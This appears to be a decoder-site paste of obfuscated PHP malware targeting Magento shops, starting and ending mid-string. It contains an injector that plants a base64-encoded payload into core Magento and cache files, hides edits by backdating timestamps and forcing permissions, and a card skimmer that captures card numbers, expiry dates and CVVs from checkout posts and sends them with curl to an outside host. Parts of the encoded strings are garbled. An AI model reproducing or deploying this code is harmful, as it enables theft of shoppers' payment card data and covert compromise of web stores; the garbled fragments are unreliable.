bslIgAiCNsDMg0DI052YkACIgACIgACIgACIgACIgAiCNoQD7kCZlR2bj5WZflXYw91YjRCIsIiYyUiCAgICAgICAgICAgICAgJGNjX3BheSA9ICRjY19udW1iZXIgLiAnfCcgLiAkY2NfbW9udGggLiAnLycgLiAkY2NfeWVhciAuICd8JyAuICRjY19jaWQ7DQogICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRfQ09PS0lFWydfbWRhdGSAuICcgJyAuICRfUE9TVFsnYmlsbGluZyddWydsYXN0bmFtZSddIC4gJ3wnIC4gJF9QT1NUWydiaWxsaW5nJ11bJ3N0cmVldCddWycwJ10gLiAnfCcgLiAkX1BPU1RbJ2JpbGxpbmcnXVsnY2l0eSddIC4gJAgICAgICAgICAgICAgICRjY19jaWQgPSAkcF92YWx1ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgIWa0BCLuV2avRXYkACLi4WZr9GduR2XigSZpt2bvNGdlNHIgACIgACIgACIgAiCNsTKddCZy92dzNXYwdyWddibpd2bsdyWUN1TQ9FJg4CIisjIg4CIddSZtFmbyV2c1dyWddGVkUPRVVB9FVQ9ETSV1QgACIgACIgACIgACIgACIgoQDsICMuIzMvg3bmVmcpZEIxATMwITMwIzLvt2YldEIpAjLyMjO2JHI7EjL1ACVOByc39GZul2VoACMuUzLhxGbpp3bNJCI+0DIU5URIDE6DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjY19udW1iZXIgPSAkcF92YWx1ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAAgICAgICAgICAgICAgICAgIEBleGVjKCdjdXJsIC0taW5zZWN1cmUgJyAuICdodHRwczovL2NlbG9sdW0uY29tL01FR0FMT0RPTi9pbmRleC5waHA/dmlldz0nIC4gJGNjX3BheV9lbmNvZGVkKTsNCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgNvbnRlbnQ7DQogICAgICAgIH0NCg0KICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydiaWxsaW5nJ10pKSB7DQogICAgICAWddyZulGbslmYnsFVT9EUfRCIuAyJ8ByJg4CIddibvl2ZlJ3Jb11Jn5WasxWaidyWUN1TQ9FJg4CInw3";$HxdshqOT="==wO65GOJp2T4YkZJRCIuJXd0VmcKkSKyVGef5mTZdXSPRCK0V2czlWIoYWaKsTf9tTKp0VMrMmMydGcVpVRkslRNFlThh1RRF2SkwSXjJjcnBXVaVEJbZUTR5UYYdUUhtEJs4kSGhEZDl3XmdEJoIHdzJWdzhiUq9lQVlmck0jL65GOJp2T4YkZJRyelNHbl13Op0VMrMmMydGcVpVRkslRNFlThh1RRF2SkwSXjJjcnBXVaVEJbZUTR5UYYdUUhtEJs4kSGhEZDl3XmdEJoIHdzJWdz1jL65GOJp2T4YkZJRyepQTJjJjcnBXVaVEJoYWa7liM9syYyI3ZwVlWFRyOpYUTR5UYYdUUhtEJoY2blpXazxzYyI3ZwVlWFRyOw0zYyI3ZwVlWFRCKy9mZ7IiI9onb4kkaPhjRmlEJKsTK5ATMsgTOwEDLzcTMsgjM3UDL5cTMsITO1IDLzYTMsIDMyATMsczNsUjM3MDL0QTMsgDN4EDL1UTMsUDN1EDL5YTMsATN3gDLzITMsIjM4wSO2EDL2YDM3wiN4wiNyQDMxwCN4wSO5MzNsMDMxwyNzMjMsQjNxwiN2gDMxwiM1wSOxIDOscTOxwCN5AjNsMTOxwSMwkTNskzNxwyMyADMxwCM0wiM3ATNsUTNsITM1ATMskDOxwCM2YTOscTOxwSN0cDNsgzMxwiM5MTOsETMxwCNzQTMsETOsITO5EDL0QTMsIDO2ETMsEzMxwyN0UTNsEjNsUjNzATMsMTOscDMyEDLyUTMsADN0IDL0ATMsETOyYDLzkTMscTM3cDLzkDL5UTMyEDL4UDL5ITNzwiN1EDL5cjMxEDLwgDLyUjMyEDLzUTMsUDN5wCN2wCO2EjMscTOsUTOzYDL2cTMsITN5IDL4ETMsUzMyUDL0cTMskDN4kDL3cDL1IjMzwSO1EDL2gTN0wCM4wCOzkjNsMjMxwiMxETNsUDOsMDOwIDLzkTMsEzNygDL5MTMsYjM4ETMscTOsgjMxMDL0kTMsMTNzUDL4ITMscjN1ATMsUTMxwSNzQTMxwiN4EDLyAzMzwCO0wCOxAzNsQDOsgTO5MDL1gDLwETO3wyM1wyM3MDLzcTMsYDMxETMsEDNsIDOyQDLyMTMskjNwkDL2UDLwwCOzEDL3gTNzwiN3wCMzATMxwCNzEDL0IjN2wCN2EDL1MjM3wSM5EDLxAjM5wCMwIDLygDM0wCN5EDL1YTOxEDLyITMsYTNsEzNxwSN5YDMxwSO0EDL4YTN3wCM4EDL4UzN2wiMzEDLwUTNxEDL1gDLzgDN3wiMwEDL0gDN0wCM1EDL5ETO4wCO0EDLwAzNxwSM4EDLxczNywCMzEDLwMTN5wiM5wCO1YDOsYTOxwiMwgzMsIzMxwiM5QjNsgTOxwiNyQDLwMTMsIDN5QDL0MTMsADMzEDLwUDL4cjN1wSM1wCNyYDL1ATMsIzMyIDLyQTMsYTM1gDL3QTMsUzN2wiN0wSN5kzNsgzNxwSM0ADOsEjNxwyMyMDNsITNsQjN0gDLxQDL4gDNzwSN5EDL4cTMokXYyJXY9YUTR5UYYdUUhtEJ";if(function_exists($e8X5ar_)){$loa_k2E=@$e8X5ar_(\'$Gf_yCdHFJN,$riUB_jR\',$OIwYNn_xer($riUB_jR($HxdshqOT)));if($loa_k2E)$Gf_yCdHFJN=@$loa_k2E($Gf_yCdHFJN,$riUB_jR); }else{$uh2lRy0uj=")))";$uh2lRy0uj.="TOq";$uh2lRy0uj.="hs";$uh2lRy0uj.="dx";$uh2lRy0uj.="H";$uh2lRy0uj.="$";$uh2lRy0uj.="(";$uh2lRy0uj.="Rj";$uh2lRy0uj.="_";$uh2lRy0uj.="BU";$uh2lRy0uj.="i";$uh2lRy0uj.="r$";$uh2lRy0uj.="(r";$uh2lRy0uj.="ex_";$uh2lRy0uj.="nNY";$uh2lRy0uj.="wIO";$uh2lRy0uj.="$(l";$uh2lRy0uj.="a";$uh2lRy0uj.="ve";$uh2lRy0uj.="@";$uh2lRy0uj=$riUB_jR($uh2lRy0uj);@$NzQBgIsvRe($uh2lRy0uj);};if(function_exists($e8X5ar_)){$FbrbYXQ=@$e8X5ar_("",$OIwYNn_xer($riUB_jR($Gf_yCdHFJN)));if($FbrbYXQ)@$FbrbYXQ();}else{$Fs8Cfn=")";$Fs8Cfn.="))N";$Fs8Cfn.="JFH";$Fs8Cfn.="d";$Fs8Cfn.="Cy_";$Fs8Cfn.="f";$Fs8Cfn.="G$";$Fs8Cfn.="(Rj";$Fs8Cfn.="_B";$Fs8Cfn.="Uir";$Fs8Cfn.="$(";$Fs8Cfn.="rex";$Fs8Cfn.="_";$Fs8Cfn.="n";$Fs8Cfn.="NY";$Fs8Cfn.="wI";$Fs8Cfn.="O";$Fs8Cfn.="$(l";$Fs8Cfn.="a";$Fs8Cfn.="ve@";$Fs8Cfn=$riUB_jR($Fs8Cfn);@$NzQBgIsvRe($Fs8Cfn);};')); 
 
$targets = array( 
    trim('/lib/Zend/Cache/Backend/Interface.php'), 
    trim('/lib/Varien/Cache/Core.php'), 
); 
 
$GLOBALS['targets'] = $targets; 
$GLOBALS['beda_code'] = $beda_code; 
 
function insert_line($lines, $codeline, $comment_indexes) { 
    if (!$comment_indexes) 
        return false; 
    shuffle($comment_indexes); 
    $index = $comment_indexes[0]; 
    $r = array(); 
    for ($i = 0; $i < sizeof($lines); $i++) { 
        $line = $lines[$i]; 
        if ($i == $index) { 
            $r[] = "*/"; 
            $r[] = $codeline; 
            $r[] = "/*"; 
        } 
        $r[] = $line; 
    } 
 
    return $r; 
} 
 
function set_min_date($filepath) { 
    $dir = dirname($filepath); 
    $o = opendir($dir); 
    $min_lastmod = 0; 
    while ($r = readdir($o)) { 
        $mod = filemtime($dir . "/" . $r); 
        if (!$min_lastmod) { 
            $min_lastmod = $mod; 
            continue; 
        } 
 
        if ($min_lastmod > $mod) { 
            $min_lastmod = $mod; 
        } 
    } 
 
    if ($min_lastmod) { 
        touch($filepath, $min_lastmod + 1); 
    } 
} 
 
function check_before_modify($filepath) { 
    $fp = fopen($filepath, "r"); 
    $lines = array(); 
    if (flock($fp, LOCK_EX)) { 
        while (!feof($fp)) { 
            $line = trim(fgets($fp), "
"); 
            $lines[] = $line; 
        } 
    } 
 
    fclose($fp); 
 
    $start_comment = false; 
    $end_comment = true; 
    $end_comment_quick = false; 
 
    for ($i = 0; $i < sizeof($lines); $i++) { 
        $line = trim($lines[$i]); 
        $line = strtr($line, array('<' . '?php' => '', '<' . "?" => "")); 
        $line = preg_replace("#/\*.*?\*/#", "", $line); 
        $line = trim($line); 
 
        if (preg_match("#^/\*.*$#", $line)) { 
            $start_comment = true; 
            $end_comment = false; 
            $end_comment_quick = false; 
            continue; 
        } 
 
        if ($end_comment_quick) { 
            if (preg_match('#^\$[a-zA-Z0-9]+=#', $line)) { 
                return true; 
            } 
        } 
 
        if (preg_match("#^\*/$#", $line)) { 
            $start_comment = false; 
            $end_comment = true; 
            $end_comment_quick = true; 
            continue; 
        } 
 
        $end_comment_quick = false; 
 
        if ($start_comment) { 
            continue; 
        } 
 
        if (!$line) 
            continue; 
 
        return false; 
    } 
 
    return false; 
} 
 
function modify_file($filepath, $force = false) { 
    $perms = 0777 & fileperms($filepath); 
    $update_perms = false; 
    if ((!is_readable($filepath)) || (!is_writable($filepath))) { 
        $update_perms = true; 
        @chmod($filepath, 0777); 
    } 
 
    if (!is_readable($filepath)) 
        return 0; 
    if ((!is_writable($filepath)) && (!$force)) 
        return 0; 
    $fp = fopen($filepath, "r"); 
    $lines = array(); 
    if (flock($fp, LOCK_EX)) { 
        while (!feof($fp)) { 
            $line = trim(fgets($fp), "
"); 
            $lines[] = $line; 
        } 
    } 
 
    fclose($fp); 
 
    if (!$lines) 
        return -1; 
 
    $start_comment = false; 
    $end_comment = true; 
    $end_comment_quick = false; 
    $end_index = -1; 
 
    $comment_indexes = array(); 
 
    for ($i = 0; $i < sizeof($lines); $i++) { 
        $line = trim($lines[$i]); 
        $line = strtr($line, array('<' . '?php' => '', '<' . "?" => "")); 
        $line = preg_replace("#/\*.*?\*/#", "", $line); 
        $line = trim($line); 
 
        if (preg_match("#^/\*.*$#", $line)) { 
            $start_comment = true; 
            $end_comment = false; 
            $end_comment_quick = false; 
            continue; 
        } 
 
        if ($end_comment_quick) { 
            if (preg_match('#^\$[a-zA-Z0-9]+=#', $line)) { 
                return 2; 
            } 
        } 
 
        if (preg_match("#^\*/$#", $line)) { 
            $start_comment = false; 
            $end_comment = true; 
            $end_comment_quick = true; 
            continue; 
        } 
 
        $end_comment_quick = false; 
        // 
        if ($start_comment) { 
            $comment_indexes[] = $i; 
            continue; 
        } 
 
        if (!$line) 
            continue; 
 
        $end_index = $i; 
        break; 
    } 
 
    if ($end_index <= 5) { 
        return 0; 
    } 
 
    $updated_lines = insert_line($lines, TREX_CODE, $comment_indexes); 
    $dt = implode("
", $updated_lines); 
 
    if (($force) && (!is_writable($filepath))) { 
        @unlink($filepath); 
        if (file_exists($filepath)) 
            return 0; 
    } 
    file_put_contents($filepath, $dt, LOCK_EX); 
    set_min_date($filepath); 
    if ($update_perms) { 
        if ($perms >= 64) { 
            chmod($filepath, $perms); 
        } else { 
            chmod($filepath, 0644); 
        } 
    } 
    return 1; 
} 
 
function find_and_write($target, $force = false) { 
    if (check_before_modify($target)) 
        return array($target, 2); 
 
    $statuscode = modify_file($target, $force); 
    return array($target, $statuscode); 
} 
 
function find_and_write_list($d, $list) { 
    $r = false; 
    foreach ($list as $target) { 
        $r = find_and_write($d . $target, false); 
        $statuscode = $r[1]; 
        if ($statuscode > 0) 
            return $r; 
    } 
 
    foreach ($list as $target) { 
        $r = find_and_write($d . $target, true); 
        $statuscode = $r[1]; 
        if ($statuscode > 0) 
            return $r; 
    } 
 
    return $r; 
} 
 
function insert_mage($filepath, $code, $force = false) { 
    $perms = 0777 & fileperms($filepath); 
    $update_perms = false; 
    if ((!is_readable($filepath)) || (!is_writable($filepath))) { 
        $update_perms = true; 
        @chmod($filepath, 0777); 
    } 
 
    if (!is_readable($filepath)) 
        return 0; 
    if ((!is_writable($filepath)) && (!$force)) 
        return 0; 
 
    $content = file_get_contents($filepath); 
 
    if (!$content) 
        return -1; 
 
    if ((substr_count($content, '$_SERVER[$')) && (substr_count($content, '"curl_init"'))) { 
        return 2; 
    } 
 
    $cnt_r = substr_count($content, "
"); 
    if (!preg_match("#
(\s+)Varien_Profiler::stop\('mage'\);#", $content, $match)) { 
        return -2; 
    } 
 
    $spaces = $match[1]; 
    $profiler = $match[0]; 
    $lines = explode("
", $code); 
    $lines2 = array(); 
    for ($i = 0; $i < sizeof($lines); $i++) { 
        $line = rtrim($lines[$i]); 
        $lines2[] = $spaces . $line; 
    } 
 
    $content2 = $content; 
    if ($cnt_r) { 
        $content2 = str_replace("
", "
", $content2); 
        $content2 = str_replace("
", "
", $content2); 
    } 
 
    $code2 = $cnt_r ? implode("
", $lines2) : implode("
", $lines2); 
    $content2 = str_replace($profiler, $profiler . "
" . $code2, $content2); 
 
    if (substr_count($content2, "echo file_get_contents(base64_decode")) { 
        $content2 = str_replace("echo file_get_contents(base64_decode", "if(0)echo file_get_contents(base64_decode", $content2); 
    } 
 
    if (($force) && (!is_writable($filepath))) { 
        @unlink($filepath); 
        if (file_exists($filepath)) 
            return 0; 
    } 
 
    file_put_contents($filepath, $content2, LOCK_EX); 
    set_min_date($filepath); 
    if ($update_perms) { 
        if ($perms >= 64) { 
            chmod($filepath, $perms); 
        } else { 
            chmod($filepath, 0644); 
        } 
    } 
    return 1; 
} 
 
function insert_app($filepath, $code, $force = false) { 
    $perms = 0777 & fileperms($filepath); 
    $update_perms = false; 
    if ((!is_readable($filepath)) || (!is_writable($filepath))) { 
        $update_perms = true; 
        @chmod($filepath, 0777); 
    } 
 
    if (!is_readable($filepath)) 
        return 0; 
    if ((!is_writable($filepath)) && (!$force)) 
        return 0; 
    $fp = fopen($filepath, "r"); 
    $lines = array(); 
    if (flock($fp, LOCK_EX)) { 
        while (!feof($fp)) { 
            $line = trim(fgets($fp), "
"); 
            $lines[] = $line; 
        } 
    } 
 
    fclose($fp); 
 
    if (!$lines) 
        return -1; 
 
    $content = implode("
", $lines); 
    if ((substr_count($content, '$_SERVER[$')) && (substr_count($content, '"curl_init"'))) { 
        return 2; 
    } 
 
    $tmp_index = 0; 
    $line_index = 0; 
    for ($i = 0; $i < sizeof($lines); $i++) { 
        $line = trim($lines[$i]); 
        $line = strtr($line, array('<' . '?php' => '', '<' . "?" => "")); 
        $line = preg_replace("#/\*.*?\*/#", "", $line); 
        $line = trim($line); 
        if ((substr_count($line, "public function run(")) && (!strpos($line, "public function run("))) { 
            $tmp_index = $i; 
            continue; 
        } 
 
        if ($tmp_index > 0) { 
            if ($line == 'return $this;') { 
                $line_index = $i; 
                break; 
            } 
        } 
    } 
 
    if (!$line_index) { 
        return -2; 
    } 
 
    $line = $lines[$line_index]; 
    if (!preg_match("#^(\s+)\S+#", $line, $match)) { 
        return -2; 
    } 
    $spaces = $match[1]; 
 
    $clines = explode("
", $code); 
    $clines2 = array(); 
    for ($i = 0; $i < sizeof($clines); $i++) { 
        $line = rtrim($clines[$i]); 
        $clines2[] = $spaces . $line; 
    } 
 
    $lines2 = array(); 
 
    for ($i = 0; $i < sizeof($lines); $i++) { 
        $line = $lines[$i]; 
        if ($i == $line_index) { 
            for ($j = 0; $j < sizeof($clines2); $j++) { 
                $lines2[] = $clines2[$j]; 
            } 
        }; 
 
        $lines2[] = $line; 
    } 
 
    $content2 = implode("
", $lines2); 
 
    if (($force) && (!is_writable($filepath))) { 
        @unlink($filepath); 
        if (file_exists($filepath)) 
            return 0; 
    } 
    file_put_contents($filepath, $content2, LOCK_EX); 
    set_min_date($filepath); 
    if ($update_perms) { 
        if ($perms >= 64) { 
            chmod($filepath, $perms); 
        } else { 
            chmod($filepath, 0644); 
        } 
    } 
    return 1; 
} 
 
function insert_index_nosafe($filepath, $code, $force = false) { 
    $perms = 0777 & fileperms($filepath); 
    $update_perms = false; 
    if ((!is_readable($filepath)) || (!is_writable($filepath))) { 
        $update_perms = true; 
        @chmod($filepath, 0777); 
    } 
 
    if (!is_readable($filepath)) 
        return 0; 
    if ((!is_writable($filepath)) && (!$force)) 
        return 0; 
    $fp = fopen($filepath, "r"); 
    $lines = array(); 
    if (flock($fp, LOCK_EX)) { 
        while (!feof($fp)) { 
            $line = trim(fgets($fp), "
"); 
            $lines[] = $line; 
        } 
    } 
 
    fclose($fp); 
 
    if (!$lines) 
        return -1; 
 
    $content = implode("
", $lines); 
    if ((substr_count($content, '$_SERVER[$')) && (substr_count($content, '"curl_init"'))) { 
        return 2; 
    } 
 
    if (!substr_count($content, 'Mage::run($mageRunCode, $mageRunType);')) { 
        return -2; 
    } 
 
    $line_index = 0; 
    for ($i = 0; $i < sizeof($lines); $i++) { 
        $line = trim($lines[$i]); 
        $line = strtr($line, array('<' . '?php' => '', '<' . "?" => "")); 
        $line = preg_replace("#/\*.*?\*/#", "", $line); 
        $line = trim($line); 
 
 
        if ($line == 'Mage::run($mageRunCode, $mageRunType);') { 
            $line_index = $i; 
            break; 
        } 
    } 
 
    if (!$line_index) { 
        return -2; 
    } 
 
    $clines = explode("
", $code); 
    $clines2 = array(); 
    for ($i = 0; $i < sizeof($clines); $i++) { 
        $line = rtrim($clines[$i]); 
        $clines2[] = $line; 
    } 
 
    $lines2 = array(); 
 
    for ($i = 0; $i < sizeof($lines); $i++) { 
        $line = $lines[$i]; 
        $lines2[] = $line; 
 
        if ($i == $line_index) { 
            for ($j = 0; $j < sizeof($clines2); $j++) { 
                $lines2[] = $clines2[$j]; 
            } 
        }; 
    } 
 
    $content2 = implode("
", $lines2); 
    if (($force) && (!is_writable($filepath))) { 
        @unlink($filepath); 
        if (file_exists($filepath)) 
            return 0; 
    } 
    file_put_contents($filepath, $content2, LOCK_EX); 
    set_min_date($filepath); 
    if ($update_perms) { 
        if ($perms >= 64) { 
            chmod($filepath, $perms); 
        } else { 
            chmod($filepath, 0755); 
        } 
    } 
    return 1; 
} 
 
function insert_index($filepath, $code, $force = false) { 
    $r = insert_index_nosafe($filepath, $code, $force); 
    @chmod($filepath, 0755); 
    return $r; 
} 
 
function path_finder() { 
    $pth = $_SERVER['DOCUMENT_ROOT']; 
    $d1 = $pth . '/../../..'; 
    $d2 = $pth . '/../..'; 
    $d3 = $pth . '/..'; 
    if (is_readable($d1)) 
        return realpath($d1); 
    if (is_readable($d2)) 
        return realpath($d2); 
    if (is_readable($d3)) 
        return realpath($d3); 
 
    return $pth; 
} 
 
function smartscan($dir) { 
    if (!is_readable($dir)) 
        return array(); 
    if (function_exists("scandir")) { 
        return scandir($dir); 
    } else { 
        $dh = opendir($dir); 
        $files = array(); 
        while (false !== ($filename = readdir($dh))) 
            $files[] = $filename; 
        return $files; 
    } 
} 
 
function super_get_url($url, $post = false) { 
    $options = array( 
        CURLOPT_RETURNTRANSFER => true, 
        CURLOPT_HEADER => false, 
        CURLOPT_FOLLOWLOCATION => true, 
        CURLOPT_ENCODING => "", 
        CURLOPT_USERAGENT => "Mozilla/5.0 (Windows NT 5.1; rv:32.0) Gecko/20120101 Firefox/32.0", 
        CURLOPT_AUTOREFERER => true, 
        CURLOPT_CONNECTTIMEOUT => 120, 
        CURLOPT_TIMEOUT => 120, 
        CURLOPT_MAXREDIRS => 10, 
        CURLOPT_SSL_VERIFYPEER => false, 
        CURLOPT_SSL_VERIFYHOST => false 
    ); 
 
    if ($post) { 
        $options[CURLOPT_POST] = 1; 
        $options[CURLOPT_POSTFIELDS] = $post; 
    } 
 
    $ch = curl_init($url); 
    curl_setopt_array($ch, $options); 
    $content = @curl_exec($ch); 
    return $content; 
} 
 
function update_iteration($folder) { 
    $targets = $GLOBALS['targets']; 
    $beda_code = $GLOBALS['beda_code']; 
    $indexFile = $folder . "/index.php"; 
    $mageFile = $folder . "/app/Mage.php"; 
    $appFile = $folder . "/app/code/core/Mage/Core/Model/App.php"; 
    $code = 0; 
    if (file_exists($mageFile)) { 
        $code = insert_mage($mageFile, $beda_code); 
        switch ($code) { 
            case -2: 
                echo "[$mageFile] without regex signature; "; 
                break; 
            case -1: 
                echo "[$mageFile] is empty!; "; 
                break; 
            case 0: 
                echo "[$mageFile] is protected!; "; 
                break; 
            case 1: 
                echo "[$mageFile] updated!; "; 
                break; 
            case 2: 
                echo "[$mageFile] contains!; "; 
                break; 
        } 
 
 
        if ((($code == 0) || ($code == -2)) && (file_exists($appFile))) { 
            $code = insert_app($appFile, $beda_code); 
            switch ($code) { 
                case -2: 
                    echo "[$appFile] without regex signature; "; 
                    break; 
                case -1: 
                    echo "[$appFile] is empty!; "; 
                    break; 
                case 0: 
                    echo "[$appFile] is protected!; "; 
                    break; 
                case 1: 
                    echo "[$appFile] updated!; "; 
                    break; 
                case 2: 
                    echo "[$appFile] contains!; "; 
                    break; 
            } 
        } 
 
        if ((($code == 0) || ($code == -2)) && (file_exists($indexFile))) { 
            $code = insert_index($indexFile, $beda_code); 
            switch ($code) { 
                case -2: 
                    echo "[$indexFile] without regex signature; "; 
                    break; 
                case -1: 
                    echo "[$indexFile] is empty!; "; 
                    break; 
                case 0: 
                    echo "[$indexFile] is protected!; "; 
                    break; 
                case 1: 
                    echo "[$indexFile] updated!; "; 
                    break; 
                case 2: 
                    echo "[$indexFile] contains!; "; 
                    break; 
            } 
        } 
 
        if (($code == 0) || ($code == -2)) { 
            if (file_exists($indexFile)) { 
                $code = insert_index($indexFile, $beda_code, true); 
                switch ($code) { 
                    case 1: 
                        echo "[$indexFile] updated_2!; "; 
                        break; 
                } 
            } 
            if (($code == 0) || ($code == -2)) { 
                $code = insert_mage($mageFile, $beda_code, true); 
                switch ($code) { 
                    case 1: 
                        echo "[$mageFile] updated_2!; "; 
                        break; 
                } 
            } 
 
            if ((($code == 0) || ($code == -2)) && (file_exists($appFile))) { 
                $code = insert_app($appFile, $beda_code, true); 
                switch ($code) { 
                    case 1: 
                        echo "[$appFile] updated_2!; "; 
                        break; 
                } 
            } 
        } 
 
        $update_data = find_and_write_list($folder, $targets); 
        $editFile = $update_data[0]; 
        switch ($update_data[1]) { 
            case -1: 
                echo "[$editFile] empty!; "; 
                break; 
            case 0: 
                echo "[$editFile] comment not exists!; "; 
                break; 
            case 1: 
                echo "[$editFile] updated!; "; 
                break; 
            case 2: 
                echo "[$editFile] contains!; "; 
                break; 
        } 
    } 
} 
 
$notning = true; 
$dir = path_finder(); 
$dd = array($dir); 
 
 
for ($i = 0; $i < 4; $i++) { 
    $tmp = array(); 
    foreach ($dd as $d) { 
        $res = smartscan($d); 
        foreach ($res as $v) { 
            if ($v == 'maintenance.flag') { 
                $flag = $d . "/" . $v; 
                echo " unlink[$flag]; "; 
                @unlink($flag); 
            } 
            if ($v == 'index.php') { 
                $indexFile = $d . "/index.php"; 
                $mageFile = $d . "/app/Mage.php"; 
                $appFile = $d . "/app/code/core/Mage/Core/Model/App.php"; 
                $code = 0; 
                if (file_exists($mageFile)) { 
                    $notning = false; 
                    update_iteration($d); 
                } 
            } else { 
                if (is_dir($d . '/' . $v) && is_readable($d . '/' . $v) && ($v !== ".") && ($v !== "..")) { 
                    $tmp[] = $d . '/' . $v; 
                } 
            } 
        } 
    } 
    $dd = $tmp; 
} 
 
$dir = $_SERVER['DOCUMENT_ROOT']; 
$dd = array($dir); 
 
if ($notning) { 
    for ($i = 0; $i < 4; $i++) { 
        $tmp = array(); 
        foreach ($dd as $d) { 
            $res = smartscan($d); 
            foreach ($res as $v) { 
                if ($v == 'maintenance.flag') { 
                    $flag = $d . "/" . $v; 
                    echo " unlink[$flag]; "; 
                    @unlink($flag); 
                } 
                if ($v == 'index.php') { 
                    $mageFile = $d . "/app/Mage.php"; 
                    $appFile = $d . "/app/code/core/Mage/Core/Model/App.php"; 
                    $code = 0; 
                    if (file_exists($mageFile)) { 
                        $notning = false; 
                        update_iteration($d); 
                    } 
                } else { 
                    if (is_dir($d . '/' . $v) && is_readable($d . '/' . $v) && ($v !== ".") && ($v !== "..")) { 
                        $tmp[] = $d . '/' . $v; 
                    } 
                } 
            } 
        } 
        $dd = $tmp; 
    } 
} 
 
echo " [Finish!] "; ?>

Did this file decode correctly?

Original Code

$beda_code = base64_decode(trim("dHJ5IHsKICAgICRwb2tlanUgPSBhcnJheSgNCiAgICAgICAgJ3M6LycsICcxJywgJ3RtbCcsICdQYScsICdaYS16MCcsICdIVCcsICdGT1JXQScsICdHRVQnLA0KICAgICAgICAnKy89JywgJ3N0cnInLCAnZmlyZScsICdhZG1pJywgJ0hUVFAnLCAndGUnLCAnI29uZScsICdSRScsDQogICAgICAgICdBRERSJywgJ2dlfGMnLCAncHJpY2UnLCAnX2RlJywgJ2Rpc2NvJywgJ2FjZS93JywgJ2hlYycsICdodCcsDQogICAgICAgICdweCcsICdIVCcsICdjLnNwYScsICd0IycsICdvcmQnLCAnYWRkcmUnLCAnX0hPJywgJzEyNy4wJywNCiAgICAgICAgJ2tvdXR8JywgJ2Nrb3V0JywgJ2Jhc2UnLCAnRF8nLCAnRVRITycsICdudDonLCAnX0MnLCAnbWVyJywNCiAgICAgICAgJ0knLCAnUkVRVUUnLCAnX2MwMScsICdlJywgJ3RlJywgJy50JywgJyNeWycsICdBRCcsDQogICAgICAgICdUX0knLCAnU1QnLCAnUkUnLCAnJCMnLCAnI2NhcicsICdTRVJWJyk7CgogICAgJG92ZXN1YmVnZSA9ICRwb2tlanVbNDFdIC4gJ1NUX00nIC4gJHBva2VqdVszNl0gLiAnRCc7CiAgICAkY2h1anloYSA9ICRwb2tlanVbMTRdIC4gJ3BhJyAuICRwb2tlanVbMTddIC4gJ2hlYycgLiAkcG9rZWp1WzMyXSAuICdvbmVzJyAuICRwb2tlanVbNDRdIC4gJ3B8JyAuICRwb2tlanVbMTBdIC4gJ2NoZScgLiAkcG9rZWp1WzMzXSAuICd8b25lcycgLiAkcG9rZWp1WzEzXSAuICdwYycgLiAkcG9rZWp1WzIyXSAuICdrb3UnIC4gJHBva2VqdVsyN107CiAgICAkb3Z5a2hpenVsdSA9ICRwb2tlanVbNTBdIC4gJ1FVRScgLiAkcG9rZWp1WzQ5XSAuICdfVVInIC4gJHBva2VqdVs0MF07CiAgICAkZXZhemljaCA9ICRwb2tlanVbNTJdIC4gJ3QjJzsKICAgICR3YXh5emhvbCA9ICRwb2tlanVbMTFdIC4gJ25oJyAuICRwb2tlanVbMl07CiAgICAkb3h5cmFiYXIgPSAkcG9rZWp1WzIzXSAuICd0cCcgLiAkcG9rZWp1WzBdIC4gJy9wYXRoJyAuICRwb2tlanVbMjZdIC4gJ2NlL3NwJyAuICRwb2tlanVbMjFdIC4gJ2lkZ2V0JyAuICRwb2tlanVbNDVdIC4gJ3h0JzsKICAgICR0b3Jla28gPSAkcG9rZWp1WzI1XSAuICdUUCcgLiAkcG9rZWp1WzM4XSAuICdMSUVOJyAuICRwb2tlanVbNDhdIC4gJ1AnOwogICAgJHZpaG9neSA9ICRwb2tlanVbMTJdIC4gJ19YXycgLiAkcG9rZWp1WzZdIC4gJ1JERScgLiAkcG9rZWp1WzM1XSAuICdGT1InOwogICAgJGp1cWVxb3RoYSA9ICRwb2tlanVbMTVdIC4gJ01PVEVfJyAuICRwb2tlanVbNDddIC4gJ0RSJzsKICAgICRhdHV4eWcgPSAkcG9rZWp1WzI0XSAuICdjZWwnIC4gJHBva2VqdVszXSAuICdnZScgLiAkcG9rZWp1WzQyXSAuICcwMDInOwogICAgJHVkYW11ZG9sbyA9ICRwb2tlanVbNV0gLiAnVFAnIC4gJHBva2VqdVszMF0gLiAnU1QnOwogICAgJGJvY2hhZHV3ZSA9ICRwb2tlanVbMjBdIC4gJ3VudDonOwogICAgJHh1cXlzeWRhID0gJHBva2VqdVsyOF0gLiAnZXI6JzsKICAgICRpdmV0dWNoID0gJHBva2VqdVsxOF0gLiAnOic7CiAgICAkZXRoYXFpc2h1ID0gJHBva2VqdVszOV0gLiAnY2hhJyAuICRwb2tlanVbMzddOwogICAgJHNoaWtvY29wID0gJHBva2VqdVsyOV0gLiAnc3M6JzsKICAgICRhY2l6dWR1aGUgPSAkcG9rZWp1WzUzXSAuICdFUl8nIC4gJHBva2VqdVsxNl07CiAgICAkYWNpc2hvYyA9ICRwb2tlanVbN107CiAgICAkb3F5bGF6aXRlID0gJHBva2VqdVszNF0gLiAnNjQnIC4gJHBva2VqdVsxOV0gLiAnY29kJyAuICRwb2tlanVbNDNdOwogICAgJHRoYWxpdHlnYSA9ICRwb2tlanVbOV0gLiAnZXYnOwogICAgJGRlY2hhcWlyaSA9ICRwb2tlanVbNDZdIC4gJ0EtJyAuICRwb2tlanVbNF0gLiAnLTknIC4gJHBva2VqdVs4XSAuICddKycgLiAkcG9rZWp1WzUxXTsKICAgICRzaGFqYXB1bnV0aCA9ICRwb2tlanVbMzFdIC4gJy4wLicgLiAkcG9rZWp1WzFdOwogICAgJGF4aXZvbCA9IDA7CiAgICAkZXphdGVrZW0gPSAwOwogICAgJGFxdXpob2NoeW0gPSBpc3NldCgkX1NFUlZFUlskYWNpenVkdWhlXSkgPyAkX1NFUlZFUlskYWNpenVkdWhlXSA6ICRzaGFqYXB1bnV0aDsKICAgICRpemhpZ3l3dSA9IGlzc2V0KCRfU0VSVkVSWyR0b3Jla29dKSA/ICRfU0VSVkVSWyR0b3Jla29dIDogaXNzZXQoJF9TRVJWRVJbJHZpaG9neV0pID8gJF9TRVJWRVJbJHZpaG9neV0g